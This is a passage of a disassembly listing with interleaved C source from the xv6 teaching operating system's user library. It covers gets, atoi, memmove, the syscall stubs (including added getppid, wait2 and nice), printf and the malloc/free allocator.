18e: 84 c0 test %al,%al
190: 75 e2 jne 174 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
192: b8 00 00 00 00 mov $0x0,%eax
}
197: c9 leave
198: c3 ret
00000199 <gets>:
char*
gets(char *buf, int max)
{
199: 55 push %ebp
19a: 89 e5 mov %esp,%ebp
19c: 83 ec 18 sub $0x18,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
19f: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1a6: eb 42 jmp 1ea <gets+0x51>
cc = read(0, &c, 1);
1a8: 83 ec 04 sub $0x4,%esp
1ab: 6a 01 push $0x1
1ad: 8d 45 ef lea -0x11(%ebp),%eax
1b0: 50 push %eax
1b1: 6a 00 push $0x0
1b3: e8 47 01 00 00 call 2ff <read>
1b8: 83 c4 10 add $0x10,%esp
1bb: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
1be: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1c2: 7e 33 jle 1f7 <gets+0x5e>
break;
buf[i++] = c;
1c4: 8b 45 f4 mov -0xc(%ebp),%eax
1c7: 8d 50 01 lea 0x1(%eax),%edx
1ca: 89 55 f4 mov %edx,-0xc(%ebp)
1cd: 89 c2 mov %eax,%edx
1cf: 8b 45 08 mov 0x8(%ebp),%eax
1d2: 01 c2 add %eax,%edx
1d4: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1d8: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
1da: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1de: 3c 0a cmp $0xa,%al
1e0: 74 16 je 1f8 <gets+0x5f>
1e2: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1e6: 3c 0d cmp $0xd,%al
1e8: 74 0e je 1f8 <gets+0x5f>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1ea: 8b 45 f4 mov -0xc(%ebp),%eax
1ed: 83 c0 01 add $0x1,%eax
1f0: 3b 45 0c cmp 0xc(%ebp),%eax
1f3: 7c b3 jl 1a8 <gets+0xf>
1f5: eb 01 jmp 1f8 <gets+0x5f>
cc = read(0, &c, 1);
if(cc < 1)
break;
1f7: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1f8: 8b 55 f4 mov -0xc(%ebp),%edx
1fb: 8b 45 08 mov 0x8(%ebp),%eax
1fe: 01 d0 add %edx,%eax
200: c6 00 00 movb $0x0,(%eax)
return buf;
203: 8b 45 08 mov 0x8(%ebp),%eax
}
206: c9 leave
207: c3 ret
00000208 <stat>:
int
stat(char *n, struct stat *st)
{
208: 55 push %ebp
209: 89 e5 mov %esp,%ebp
20b: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
20e: 83 ec 08 sub $0x8,%esp
211: 6a 00 push $0x0
213: ff 75 08 pushl 0x8(%ebp)
216: e8 0c 01 00 00 call 327 <open>
21b: 83 c4 10 add $0x10,%esp
21e: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
221: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
225: 79 07 jns 22e <stat+0x26>
return -1;
227: b8 ff ff ff ff mov $0xffffffff,%eax
22c: eb 25 jmp 253 <stat+0x4b>
r = fstat(fd, st);
22e: 83 ec 08 sub $0x8,%esp
231: ff 75 0c pushl 0xc(%ebp)
234: ff 75 f4 pushl -0xc(%ebp)
237: e8 03 01 00 00 call 33f <fstat>
23c: 83 c4 10 add $0x10,%esp
23f: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
242: 83 ec 0c sub $0xc,%esp
245: ff 75 f4 pushl -0xc(%ebp)
248: e8 c2 00 00 00 call 30f <close>
24d: 83 c4 10 add $0x10,%esp
return r;
250: 8b 45 f0 mov -0x10(%ebp),%eax
}
253: c9 leave
254: c3 ret
00000255 <atoi>:
int
atoi(const char *s)
{
255: 55 push %ebp
256: 89 e5 mov %esp,%ebp
258: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
25b: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
262: eb 25 jmp 289 <atoi+0x34>
n = n*10 + *s++ - '0';
264: 8b 55 fc mov -0x4(%ebp),%edx
267: 89 d0 mov %edx,%eax
269: c1 e0 02 shl $0x2,%eax
26c: 01 d0 add %edx,%eax
26e: 01 c0 add %eax,%eax
270: 89 c1 mov %eax,%ecx
272: 8b 45 08 mov 0x8(%ebp),%eax
275: 8d 50 01 lea 0x1(%eax),%edx
278: 89 55 08 mov %edx,0x8(%ebp)
27b: 0f b6 00 movzbl (%eax),%eax
27e: 0f be c0 movsbl %al,%eax
281: 01 c8 add %ecx,%eax
283: 83 e8 30 sub $0x30,%eax
286: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
289: 8b 45 08 mov 0x8(%ebp),%eax
28c: 0f b6 00 movzbl (%eax),%eax
28f: 3c 2f cmp $0x2f,%al
291: 7e 0a jle 29d <atoi+0x48>
293: 8b 45 08 mov 0x8(%ebp),%eax
296: 0f b6 00 movzbl (%eax),%eax
299: 3c 39 cmp $0x39,%al
29b: 7e c7 jle 264 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
29d: 8b 45 fc mov -0x4(%ebp),%eax
}
2a0: c9 leave
2a1: c3 ret
000002a2 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
2a2: 55 push %ebp
2a3: 89 e5 mov %esp,%ebp
2a5: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
2a8: 8b 45 08 mov 0x8(%ebp),%eax
2ab: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
2ae: 8b 45 0c mov 0xc(%ebp),%eax
2b1: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
2b4: eb 17 jmp 2cd <memmove+0x2b>
*dst++ = *src++;
2b6: 8b 45 fc mov -0x4(%ebp),%eax
2b9: 8d 50 01 lea 0x1(%eax),%edx
2bc: 89 55 fc mov %edx,-0x4(%ebp)
2bf: 8b 55 f8 mov -0x8(%ebp),%edx
2c2: 8d 4a 01 lea 0x1(%edx),%ecx
2c5: 89 4d f8 mov %ecx,-0x8(%ebp)
2c8: 0f b6 12 movzbl (%edx),%edx
2cb: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
2cd: 8b 45 10 mov 0x10(%ebp),%eax
2d0: 8d 50 ff lea -0x1(%eax),%edx
2d3: 89 55 10 mov %edx,0x10(%ebp)
2d6: 85 c0 test %eax,%eax
2d8: 7f dc jg 2b6 <memmove+0x14>
*dst++ = *src++;
return vdst;
2da: 8b 45 08 mov 0x8(%ebp),%eax
}
2dd: c9 leave
2de: c3 ret
000002df <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
2df: b8 01 00 00 00 mov $0x1,%eax
2e4: cd 40 int $0x40
2e6: c3 ret
000002e7 <exit>:
SYSCALL(exit)
2e7: b8 02 00 00 00 mov $0x2,%eax
2ec: cd 40 int $0x40
2ee: c3 ret
000002ef <wait>:
SYSCALL(wait)
2ef: b8 03 00 00 00 mov $0x3,%eax
2f4: cd 40 int $0x40
2f6: c3 ret
000002f7 <pipe>:
SYSCALL(pipe)
2f7: b8 04 00 00 00 mov $0x4,%eax
2fc: cd 40 int $0x40
2fe: c3 ret
000002ff <read>:
SYSCALL(read)
2ff: b8 05 00 00 00 mov $0x5,%eax
304: cd 40 int $0x40
306: c3 ret
00000307 <write>:
SYSCALL(write)
307: b8 10 00 00 00 mov $0x10,%eax
30c: cd 40 int $0x40
30e: c3 ret
0000030f <close>:
SYSCALL(close)
30f: b8 15 00 00 00 mov $0x15,%eax
314: cd 40 int $0x40
316: c3 ret
00000317 <kill>:
SYSCALL(kill)
317: b8 06 00 00 00 mov $0x6,%eax
31c: cd 40 int $0x40
31e: c3 ret
0000031f <exec>:
SYSCALL(exec)
31f: b8 07 00 00 00 mov $0x7,%eax
324: cd 40 int $0x40
326: c3 ret
00000327 <open>:
SYSCALL(open)
327: b8 0f 00 00 00 mov $0xf,%eax
32c: cd 40 int $0x40
32e: c3 ret
0000032f <mknod>:
SYSCALL(mknod)
32f: b8 11 00 00 00 mov $0x11,%eax
334: cd 40 int $0x40
336: c3 ret
00000337 <unlink>:
SYSCALL(unlink)
337: b8 12 00 00 00 mov $0x12,%eax
33c: cd 40 int $0x40
33e: c3 ret
0000033f <fstat>:
SYSCALL(fstat)
33f: b8 08 00 00 00 mov $0x8,%eax
344: cd 40 int $0x40
346: c3 ret
00000347 <link>:
SYSCALL(link)
347: b8 13 00 00 00 mov $0x13,%eax
34c: cd 40 int $0x40
34e: c3 ret
0000034f <mkdir>:
SYSCALL(mkdir)
34f: b8 14 00 00 00 mov $0x14,%eax
354: cd 40 int $0x40
356: c3 ret
00000357 <chdir>:
SYSCALL(chdir)
357: b8 09 00 00 00 mov $0x9,%eax
35c: cd 40 int $0x40
35e: c3 ret
0000035f <dup>:
SYSCALL(dup)
35f: b8 0a 00 00 00 mov $0xa,%eax
364: cd 40 int $0x40
366: c3 ret
00000367 <getpid>:
SYSCALL(getpid)
367: b8 0b 00 00 00 mov $0xb,%eax
36c: cd 40 int $0x40
36e: c3 ret
0000036f <sbrk>:
SYSCALL(sbrk)
36f: b8 0c 00 00 00 mov $0xc,%eax
374: cd 40 int $0x40
376: c3 ret
00000377 <sleep>:
SYSCALL(sleep)
377: b8 0d 00 00 00 mov $0xd,%eax
37c: cd 40 int $0x40
37e: c3 ret
0000037f <uptime>:
SYSCALL(uptime)
37f: b8 0e 00 00 00 mov $0xe,%eax
384: cd 40 int $0x40
386: c3 ret
00000387 <getppid>:
SYSCALL(getppid)
387: b8 16 00 00 00 mov $0x16,%eax
38c: cd 40 int $0x40
38e: c3 ret
0000038f <wait2>:
SYSCALL(wait2)
38f: b8 18 00 00 00 mov $0x18,%eax
394: cd 40 int $0x40
396: c3 ret
00000397 <nice>:
SYSCALL(nice)
397: b8 17 00 00 00 mov $0x17,%eax
39c: cd 40 int $0x40
39e: c3 ret
0000039f <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
39f: 55 push %ebp
3a0: 89 e5 mov %esp,%ebp
3a2: 83 ec 18 sub $0x18,%esp
3a5: 8b 45 0c mov 0xc(%ebp),%eax
3a8: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
3ab: 83 ec 04 sub $0x4,%esp
3ae: 6a 01 push $0x1
3b0: 8d 45 f4 lea -0xc(%ebp),%eax
3b3: 50 push %eax
3b4: ff 75 08 pushl 0x8(%ebp)
3b7: e8 4b ff ff ff call 307 <write>
3bc: 83 c4 10 add $0x10,%esp
}
3bf: 90 nop
3c0: c9 leave
3c1: c3 ret
000003c2 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
3c2: 55 push %ebp
3c3: 89 e5 mov %esp,%ebp
3c5: 53 push %ebx
3c6: 83 ec 24 sub $0x24,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
3c9: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
3d0: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
3d4: 74 17 je 3ed <printint+0x2b>
3d6: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
3da: 79 11 jns 3ed <printint+0x2b>
neg = 1;
3dc: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
3e3: 8b 45 0c mov 0xc(%ebp),%eax
3e6: f7 d8 neg %eax
3e8: 89 45 ec mov %eax,-0x14(%ebp)
3eb: eb 06 jmp 3f3 <printint+0x31>
} else {
x = xx;
3ed: 8b 45 0c mov 0xc(%ebp),%eax
3f0: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
3f3: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
3fa: 8b 4d f4 mov -0xc(%ebp),%ecx
3fd: 8d 41 01 lea 0x1(%ecx),%eax
400: 89 45 f4 mov %eax,-0xc(%ebp)
403: 8b 5d 10 mov 0x10(%ebp),%ebx
406: 8b 45 ec mov -0x14(%ebp),%eax
409: ba 00 00 00 00 mov $0x0,%edx
40e: f7 f3 div %ebx
410: 89 d0 mov %edx,%eax
412: 0f b6 80 ac 0a 00 00 movzbl 0xaac(%eax),%eax
419: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
41d: 8b 5d 10 mov 0x10(%ebp),%ebx
420: 8b 45 ec mov -0x14(%ebp),%eax
423: ba 00 00 00 00 mov $0x0,%edx
428: f7 f3 div %ebx
42a: 89 45 ec mov %eax,-0x14(%ebp)
42d: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
431: 75 c7 jne 3fa <printint+0x38>
if(neg)
433: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
437: 74 2d je 466 <printint+0xa4>
buf[i++] = '-';
439: 8b 45 f4 mov -0xc(%ebp),%eax
43c: 8d 50 01 lea 0x1(%eax),%edx
43f: 89 55 f4 mov %edx,-0xc(%ebp)
442: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
447: eb 1d jmp 466 <printint+0xa4>
putc(fd, buf[i]);
449: 8d 55 dc lea -0x24(%ebp),%edx
44c: 8b 45 f4 mov -0xc(%ebp),%eax
44f: 01 d0 add %edx,%eax
451: 0f b6 00 movzbl (%eax),%eax
454: 0f be c0 movsbl %al,%eax
457: 83 ec 08 sub $0x8,%esp
45a: 50 push %eax
45b: ff 75 08 pushl 0x8(%ebp)
45e: e8 3c ff ff ff call 39f <putc>
463: 83 c4 10 add $0x10,%esp
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
466: 83 6d f4 01 subl $0x1,-0xc(%ebp)
46a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
46e: 79 d9 jns 449 <printint+0x87>
putc(fd, buf[i]);
}
470: 90 nop
471: 8b 5d fc mov -0x4(%ebp),%ebx
474: c9 leave
475: c3 ret
00000476 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
476: 55 push %ebp
477: 89 e5 mov %esp,%ebp
479: 83 ec 28 sub $0x28,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
47c: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
483: 8d 45 0c lea 0xc(%ebp),%eax
486: 83 c0 04 add $0x4,%eax
489: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
48c: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
493: e9 59 01 00 00 jmp 5f1 <printf+0x17b>
c = fmt[i] & 0xff;
498: 8b 55 0c mov 0xc(%ebp),%edx
49b: 8b 45 f0 mov -0x10(%ebp),%eax
49e: 01 d0 add %edx,%eax
4a0: 0f b6 00 movzbl (%eax),%eax
4a3: 0f be c0 movsbl %al,%eax
4a6: 25 ff 00 00 00 and $0xff,%eax
4ab: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
4ae: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
4b2: 75 2c jne 4e0 <printf+0x6a>
if(c == '%'){
4b4: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
4b8: 75 0c jne 4c6 <printf+0x50>
state = '%';
4ba: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
4c1: e9 27 01 00 00 jmp 5ed <printf+0x177>
} else {
putc(fd, c);
4c6: 8b 45 e4 mov -0x1c(%ebp),%eax
4c9: 0f be c0 movsbl %al,%eax
4cc: 83 ec 08 sub $0x8,%esp
4cf: 50 push %eax
4d0: ff 75 08 pushl 0x8(%ebp)
4d3: e8 c7 fe ff ff call 39f <putc>
4d8: 83 c4 10 add $0x10,%esp
4db: e9 0d 01 00 00 jmp 5ed <printf+0x177>
}
} else if(state == '%'){
4e0: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
4e4: 0f 85 03 01 00 00 jne 5ed <printf+0x177>
if(c == 'd'){
4ea: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
4ee: 75 1e jne 50e <printf+0x98>
printint(fd, *ap, 10, 1);
4f0: 8b 45 e8 mov -0x18(%ebp),%eax
4f3: 8b 00 mov (%eax),%eax
4f5: 6a 01 push $0x1
4f7: 6a 0a push $0xa
4f9: 50 push %eax
4fa: ff 75 08 pushl 0x8(%ebp)
4fd: e8 c0 fe ff ff call 3c2 <printint>
502: 83 c4 10 add $0x10,%esp
ap++;
505: 83 45 e8 04 addl $0x4,-0x18(%ebp)
509: e9 d8 00 00 00 jmp 5e6 <printf+0x170>
} else if(c == 'x' || c == 'p'){
50e: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
512: 74 06 je 51a <printf+0xa4>
514: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
518: 75 1e jne 538 <printf+0xc2>
printint(fd, *ap, 16, 0);
51a: 8b 45 e8 mov -0x18(%ebp),%eax
51d: 8b 00 mov (%eax),%eax
51f: 6a 00 push $0x0
521: 6a 10 push $0x10
523: 50 push %eax
524: ff 75 08 pushl 0x8(%ebp)
527: e8 96 fe ff ff call 3c2 <printint>
52c: 83 c4 10 add $0x10,%esp
ap++;
52f: 83 45 e8 04 addl $0x4,-0x18(%ebp)
533: e9 ae 00 00 00 jmp 5e6 <printf+0x170>
} else if(c == 's'){
538: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
53c: 75 43 jne 581 <printf+0x10b>
s = (char*)*ap;
53e: 8b 45 e8 mov -0x18(%ebp),%eax
541: 8b 00 mov (%eax),%eax
543: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
546: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
54a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
54e: 75 25 jne 575 <printf+0xff>
s = "(null)";
550: c7 45 f4 59 08 00 00 movl $0x859,-0xc(%ebp)
while(*s != 0){
557: eb 1c jmp 575 <printf+0xff>
putc(fd, *s);
559: 8b 45 f4 mov -0xc(%ebp),%eax
55c: 0f b6 00 movzbl (%eax),%eax
55f: 0f be c0 movsbl %al,%eax
562: 83 ec 08 sub $0x8,%esp
565: 50 push %eax
566: ff 75 08 pushl 0x8(%ebp)
569: e8 31 fe ff ff call 39f <putc>
56e: 83 c4 10 add $0x10,%esp
s++;
571: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
575: 8b 45 f4 mov -0xc(%ebp),%eax
578: 0f b6 00 movzbl (%eax),%eax
57b: 84 c0 test %al,%al
57d: 75 da jne 559 <printf+0xe3>
57f: eb 65 jmp 5e6 <printf+0x170>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
581: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
585: 75 1d jne 5a4 <printf+0x12e>
putc(fd, *ap);
587: 8b 45 e8 mov -0x18(%ebp),%eax
58a: 8b 00 mov (%eax),%eax
58c: 0f be c0 movsbl %al,%eax
58f: 83 ec 08 sub $0x8,%esp
592: 50 push %eax
593: ff 75 08 pushl 0x8(%ebp)
596: e8 04 fe ff ff call 39f <putc>
59b: 83 c4 10 add $0x10,%esp
ap++;
59e: 83 45 e8 04 addl $0x4,-0x18(%ebp)
5a2: eb 42 jmp 5e6 <printf+0x170>
} else if(c == '%'){
5a4: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
5a8: 75 17 jne 5c1 <printf+0x14b>
putc(fd, c);
5aa: 8b 45 e4 mov -0x1c(%ebp),%eax
5ad: 0f be c0 movsbl %al,%eax
5b0: 83 ec 08 sub $0x8,%esp
5b3: 50 push %eax
5b4: ff 75 08 pushl 0x8(%ebp)
5b7: e8 e3 fd ff ff call 39f <putc>
5bc: 83 c4 10 add $0x10,%esp
5bf: eb 25 jmp 5e6 <printf+0x170>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
5c1: 83 ec 08 sub $0x8,%esp
5c4: 6a 25 push $0x25
5c6: ff 75 08 pushl 0x8(%ebp)
5c9: e8 d1 fd ff ff call 39f <putc>
5ce: 83 c4 10 add $0x10,%esp
putc(fd, c);
5d1: 8b 45 e4 mov -0x1c(%ebp),%eax
5d4: 0f be c0 movsbl %al,%eax
5d7: 83 ec 08 sub $0x8,%esp
5da: 50 push %eax
5db: ff 75 08 pushl 0x8(%ebp)
5de: e8 bc fd ff ff call 39f <putc>
5e3: 83 c4 10 add $0x10,%esp
}
state = 0;
5e6: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
5ed: 83 45 f0 01 addl $0x1,-0x10(%ebp)
5f1: 8b 55 0c mov 0xc(%ebp),%edx
5f4: 8b 45 f0 mov -0x10(%ebp),%eax
5f7: 01 d0 add %edx,%eax
5f9: 0f b6 00 movzbl (%eax),%eax
5fc: 84 c0 test %al,%al
5fe: 0f 85 94 fe ff ff jne 498 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
604: 90 nop
605: c9 leave
606: c3 ret
00000607 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
607: 55 push %ebp
608: 89 e5 mov %esp,%ebp
60a: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
60d: 8b 45 08 mov 0x8(%ebp),%eax
610: 83 e8 08 sub $0x8,%eax
613: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
616: a1 c8 0a 00 00 mov 0xac8,%eax
61b: 89 45 fc mov %eax,-0x4(%ebp)
61e: eb 24 jmp 644 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
620: 8b 45 fc mov -0x4(%ebp),%eax
623: 8b 00 mov (%eax),%eax
625: 3b 45 fc cmp -0x4(%ebp),%eax
628: 77 12 ja 63c <free+0x35>
62a: 8b 45 f8 mov -0x8(%ebp),%eax
62d: 3b 45 fc cmp -0x4(%ebp),%eax
630: 77 24 ja 656 <free+0x4f>
632: 8b 45 fc mov -0x4(%ebp),%eax
635: 8b 00 mov (%eax),%eax
637: 3b 45 f8 cmp -0x8(%ebp),%eax
63a: 77 1a ja 656 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
63c: 8b 45 fc mov -0x4(%ebp),%eax
63f: 8b 00 mov (%eax),%eax
641: 89 45 fc mov %eax,-0x4(%ebp)
644: 8b 45 f8 mov -0x8(%ebp),%eax
647: 3b 45 fc cmp -0x4(%ebp),%eax
64a: 76 d4 jbe 620 <free+0x19>
64c: 8b 45 fc mov -0x4(%ebp),%eax
64f: 8b 00 mov (%eax),%eax
651: 3b 45 f8 cmp -0x8(%ebp),%eax
654: 76 ca jbe 620 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
656: 8b 45 f8 mov -0x8(%ebp),%eax
659: 8b 40 04 mov 0x4(%eax),%eax
65c: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
663: 8b 45 f8 mov -0x8(%ebp),%eax
666: 01 c2 add %eax,%edx
668: 8b 45 fc mov -0x4(%ebp),%eax
66b: 8b 00 mov (%eax),%eax
66d: 39 c2 cmp %eax,%edx
66f: 75 24 jne 695 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
671: 8b 45 f8 mov -0x8(%ebp),%eax
674: 8b 50 04 mov 0x4(%eax),%edx
677: 8b 45 fc mov -0x4(%ebp),%eax
67a: 8b 00 mov (%eax),%eax
67c: 8b 40 04 mov 0x4(%eax),%eax
67f: 01 c2 add %eax,%edx
681: 8b 45 f8 mov -0x8(%ebp),%eax
684: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
687: 8b 45 fc mov -0x4(%ebp),%eax
68a: 8b 00 mov (%eax),%eax
68c: 8b 10 mov (%eax),%edx
68e: 8b 45 f8 mov -0x8(%ebp),%eax
691: 89 10 mov %edx,(%eax)
693: eb 0a jmp 69f <free+0x98>
} else
bp->s.ptr = p->s.ptr;
695: 8b 45 fc mov -0x4(%ebp),%eax
698: 8b 10 mov (%eax),%edx
69a: 8b 45 f8 mov -0x8(%ebp),%eax
69d: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
69f: 8b 45 fc mov -0x4(%ebp),%eax
6a2: 8b 40 04 mov 0x4(%eax),%eax
6a5: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
6ac: 8b 45 fc mov -0x4(%ebp),%eax
6af: 01 d0 add %edx,%eax
6b1: 3b 45 f8 cmp -0x8(%ebp),%eax
6b4: 75 20 jne 6d6 <free+0xcf>
p->s.size += bp->s.size;
6b6: 8b 45 fc mov -0x4(%ebp),%eax
6b9: 8b 50 04 mov 0x4(%eax),%edx
6bc: 8b 45 f8 mov -0x8(%ebp),%eax
6bf: 8b 40 04 mov 0x4(%eax),%eax
6c2: 01 c2 add %eax,%edx
6c4: 8b 45 fc mov -0x4(%ebp),%eax
6c7: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
6ca: 8b 45 f8 mov -0x8(%ebp),%eax
6cd: 8b 10 mov (%eax),%edx
6cf: 8b 45 fc mov -0x4(%ebp),%eax
6d2: 89 10 mov %edx,(%eax)
6d4: eb 08 jmp 6de <free+0xd7>
} else
p->s.ptr = bp;
6d6: 8b 45 fc mov -0x4(%ebp),%eax
6d9: 8b 55 f8 mov -0x8(%ebp),%edx
6dc: 89 10 mov %edx,(%eax)
freep = p;
6de: 8b 45 fc mov -0x4(%ebp),%eax
6e1: a3 c8 0a 00 00 mov %eax,0xac8
}
6e6: 90 nop
6e7: c9 leave
6e8: c3 ret
000006e9 <morecore>:
static Header*
morecore(uint nu)
{
6e9: 55 push %ebp
6ea: 89 e5 mov %esp,%ebp
6ec: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
if(nu < 4096)
6ef: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
6f6: 77 07 ja 6ff <morecore+0x16>
nu = 4096;
6f8: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
6ff: 8b 45 08 mov 0x8(%ebp),%eax
702: c1 e0 03 shl $0x3,%eax
705: 83 ec 0c sub $0xc,%esp
708: 50 push %eax
709: e8 61 fc ff ff call 36f <sbrk>
70e: 83 c4 10 add $0x10,%esp
711: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
714: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
718: 75 07 jne 721 <morecore+0x38>
return 0;
71a: b8 00 00 00 00 mov $0x0,%eax
71f: eb 26 jmp 747 <morecore+0x5e>
hp = (Header*)p;
721: 8b 45 f4 mov -0xc(%ebp),%eax
724: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
727: 8b 45 f0 mov -0x10(%ebp),%eax
72a: 8b 55 08 mov 0x8(%ebp),%edx
72d: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
730: 8b 45 f0 mov -0x10(%ebp),%eax
733: 83 c0 08 add $0x8,%eax
736: 83 ec 0c sub $0xc,%esp
739: 50 push %eax
73a: e8 c8 fe ff ff call 607 <free>
73f: 83 c4 10 add $0x10,%esp
return freep;
742: a1 c8 0a 00 00 mov 0xac8,%eax
}
747: c9 leave
748: c3 ret
00000749 <malloc>:
void*
malloc(uint nbytes)
{
749: 55 push %ebp
74a: 89 e5 mov %esp,%ebp
74c: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
74f: 8b 45 08 mov 0x8(%ebp),%eax
752: 83 c0 07 add $0x7,%eax
755: c1 e8 03 shr $0x3,%eax
758: 83 c0 01 add $0x1,%eax
75b: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
75e: a1 c8 0a 00 00 mov 0xac8,%eax
763: 89 45 f0 mov %eax,-0x10(%ebp)
766: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
76a: 75 23 jne 78f <malloc+0x46>
base.s.ptr = freep = prevp = &base;
76c: c7 45 f0 c0 0a 00 00 movl $0xac0,-0x10(%ebp)
773: 8b 45 f0 mov -0x10(%ebp),%eax
776: a3 c8 0a 00 00 mov %eax,0xac8
77b: a1 c8 0a 00 00 mov 0xac8,%eax
780: a3 c0 0a 00 00 mov %eax,0xac0
base.s.size = 0;
785: c7 05 c4 0a 00 00 00 movl $0x0,0xac4
78c: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
78f: 8b 45 f0 mov -0x10(%ebp),%eax
792: 8b 00 mov (%eax),%eax
794: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
797: 8b 45 f4 mov -0xc(%ebp),%eax
79a: 8b 40 04 mov 0x4(%eax),%eax
79d: 3b 45 ec cmp -0x14(%ebp),%eax
7a0: 72 4d jb 7ef <malloc+0xa6>
if(p->s.size == nunits)
